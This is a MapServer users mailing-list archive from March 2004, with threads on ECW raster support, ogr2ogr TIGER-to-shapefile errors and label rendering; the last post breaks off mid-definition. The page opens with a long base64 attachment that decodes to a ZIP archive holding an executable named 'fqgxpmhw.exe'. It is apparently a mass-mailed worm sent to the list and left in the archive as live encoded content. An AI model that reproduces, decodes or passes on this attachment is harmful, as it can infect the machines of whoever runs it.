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 AIlFAAAAAA== ----------eqmnjbghpntsjkkkaorc-- From mservin@tecnoaccion.com.ar Mon Mar 1 12:34:50 2004 From: mservin@tecnoaccion.com.ar (Mario Servin) Date: Mon, 1 Mar 2004 09:34:50 -0300 Subject: [Mapserver-users] Can binary release of MapServer 4.0 for Windows able to manage ECW raster files? References: <058101c3fcb5$9b309b80$7205a8c0@mariolaptop> <403E7574.2030004@dmsolutions.ca> Message-ID: <00b901c3ff89$9e1b2f50$7205a8c0@mariolaptop> Dear Yewondwossen, Thanks for your answer. I follow your suggestion and could successfully display ECW files .After my experience I must set some points about MapServer and ECW files: 1- It's official: binary release of MapServer version 4.0 DOES NOT SUPPORT ECW input files. You are absolutely right, I downloaded version 4.1 from the site you suggest me and I could display my ECW input files. 2- I was not without some additional effort. : ECW input files DO NOT USE ANY WORLD FILE. So, if you (as I had) use ECW files not themselves georeferenced you will be in troubles, the file is displayed but not in the right place you want. Fortunately there is a free tool from ErMapper (ECW Header Editor http://www.ermapper.com/download_new/download_view.aspx?PRODUCT_VERSION_ID=192) for modifying the header of an ECW file. With this tool we can make the file a self georeferenced ECW file and then it is possible to use it as other raster input files. Again thanks a lot and regards, Mario ----- Original Message ----- From: "Yewondwossen Assefa" To: "Mario Servin" Cc: Sent: Thursday, February 26, 2004 7:38 PM Subject: Re: [Mapserver-users] Can binary release of MapServer 4.0 for Windows able to manage ECW raster files? You can download the latest version 4.1-dev that includes support for ECW at http://www.maptools.org/php_mapscript/index.phtml?page=downloads.html. I have just tried it and was able to display ECW test files. Best Regards, Mario Servin wrote: > Hi everybody. I am using MapServer 4.0 and was able to manage shape and > gif input formats. I failed to generate a layer with a ECW input file. More > surprisingly I got no error. I just get a blank image!!!. I downloaded > MapServer 4.0 binary realase but still i am not sure if it is prepared for > managing this input format as the documentation I found did not refer to > this version. If it (as I guess) can not manage ECW files, can anybody poitn > me to a binary version for Windows that can? Thanks in advance. > By the way here's my .map file, still it is possible I am missing something: > # > # Start of map file > # > NAME DEMO > STATUS ON > SIZE 600 600 > EXTENT 160597.5 6402017.5 500004 6682201 > UNITS METERS > SHAPEPATH "Bariloche" > IMAGECOLOR 255 255 255 > > # you may need to change this to match your MapServer build > IMAGETYPE GIF > > # > # Start of web interface definition (including WMS enabling metadata) > # > WEB > HEADER demo_header.html > TEMPLATE demo.html > FOOTER demo_footer.html > MINSCALE 1 > MAXSCALE 16000000000 > IMAGEPATH "set in demo_init.html" > IMAGEURL "set in demo_init.html" > METADATA > WMS_TITLE "UMN MapServer Itasca Demo" > WMS_ABSTRACT "This is the UMN MapServer demonstration application for > Itasca County located in north central Minnesota." > WMS_ACCESSCONSTRAINTS none > > # change this value to match your setup > WMS_ONLINERESOURCE "http://mariolaptop/MyPages/itasca/demo_init.html" > > WMS_SRS "EPSG:26915" > END > END > > # > # Start of legend > # > LEGEND > KEYSIZE 18 12 > LABEL > TYPE BITMAP > SIZE MEDIUM > COLOR 0 0 89 > END > STATUS ON > END > > # > # Start of scalebar > # > SCALEBAR > IMAGECOLOR 0 0 0 > LABEL > COLOR 255 255 255 > SIZE MEDIUM > END > STYLE 1 > SIZE 300 10 > COLOR 255 255 255 > UNITS KILOMETERS > INTERVALS 5 > TRANSPARENT TRUE > STATUS TRUE > END > > # > # Start of symbol definitions (we're only using a few) > # > SYMBOL > NAME 'circle' > TYPE ELLIPSE > POINTS 1 1 END > FILLED TRUE > END > > #Satelital > LAYER > NAME "S21301" > DATA S21301.ecw > TYPE RASTER > STATUS DEFAULT > END > > > END > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa@dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From dharanibabus@hotmail.com Mon Mar 1 12:48:51 2004 From: dharanibabus@hotmail.com (Dharani Babu) Date: Mon, 01 Mar 2004 18:18:51 +0530 Subject: [Mapserver-users] Error in TIGER to shp conversion !!!! Message-ID: Daniel Thanks for that . ur replies are helping me progress I tried this way ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" Then I got the following error "Unable to open data source "d:/maps/OpenEV/bin/shp" with following drivers " Then I removed the -skipfailures option and it said "error on translating landmarks " " Attempt to translate non geometrical features " ...this is the same error I faced already . I think i am missing the way I have to use the -skipfailures option . So now I tried to translate all the layers one by one So I tried this way ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" CompleteChain ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" AltNames ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" FeatureIds ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" ZipCodes ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" Polygon ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" IDHistory etc But I got the same errors when I tried to translate the following ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" landmarks ogr2ogr -f -skipfailures "ESRI Shapefiles" "d:/maps/OpenEV/bin/shp" "c:/ms4w/apache/htdocs/data/rm" EntityNames Whats wrong with the Landmarks , EntityNames layers ? I also understand that the features with geometry ( Point ...line ) have *.shp files and the features without geometry have no .shp files at all . so I also understood the features with geo metry only can be added as MAP file LAYERS right ? or am I missing something ? Please correct me . help me why I am facing this error ...could u please show me any sample MAP Files that have used TIGER translated Shape files for rendering with template html ? with regards and thanks in advance dharani >From: Daniel Morissette >To: Dharani Babu >CC: mapserver-users@lists.gis.umn.edu >Subject: Re: [Mapserver-users] Error in TIGER to shp conversion !!!! >Date: Fri, 27 Feb 2004 10:06:49 -0500 > >Dharani Babu wrote: >> >>here shp is the folder I want the translated shape files to be in . But I >>got the errors >> >>Error 6: Can't Create fields of type IntegerList on shapefil layers >>Error 1 : Attempt to write feature without geometry not supported for >>shapefile driver >>Error 1 : terminating translation prematurely after failed translation of >>layer Landmarks >>I checked the /shp folder and found that the following files are in .. > >Did you try using the -skipfailures option? With that option, if ogr2ogr >encounters a feature that the target format won't accept, then it just >skips it and moves on to the next instead of producing a fatal error. > >Note that you may have to check the TIGER docs to find out which layers >contain the data that you really need and just concentrate on them. > >Daniel >-- >------------------------------------------------------------ > Daniel Morissette dmorissette@dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ >------------------------------------------------------------ > _________________________________________________________________ Masterpieces made affordable! Buy art prints. http://go.msnserver.com/IN/42736.asp MSN Shopping. From dharanibabus@hotmail.com Mon Mar 1 13:08:23 2004 From: dharanibabus@hotmail.com (Dharani Babu) Date: Mon, 01 Mar 2004 18:38:23 +0530 Subject: [Mapserver-users] EntityNames Layer !! Message-ID: Hi all , I have a specific problem in rendering the Entity names of TIGER based maps. I directly render the TIGER files ( credit Tyler Mitchell) using CONNECTIONTYPE OGR in MAP file but I am short of knowledge over the way I can render the "names of the cities ,,landmarks etc " Using ogrinfo I am able to list the Layers available in the TIGER files .. I hope the "EntityNames" layer is the one that contains the names ( or is it labels ?) of locations right ? This is the LAYER definition I use with MAP file LAYER GROUP tigerdata NAME tiger1 TYPE LINE STATUS DEFAULT CONNECTIONTYPE OGR CONNECTION 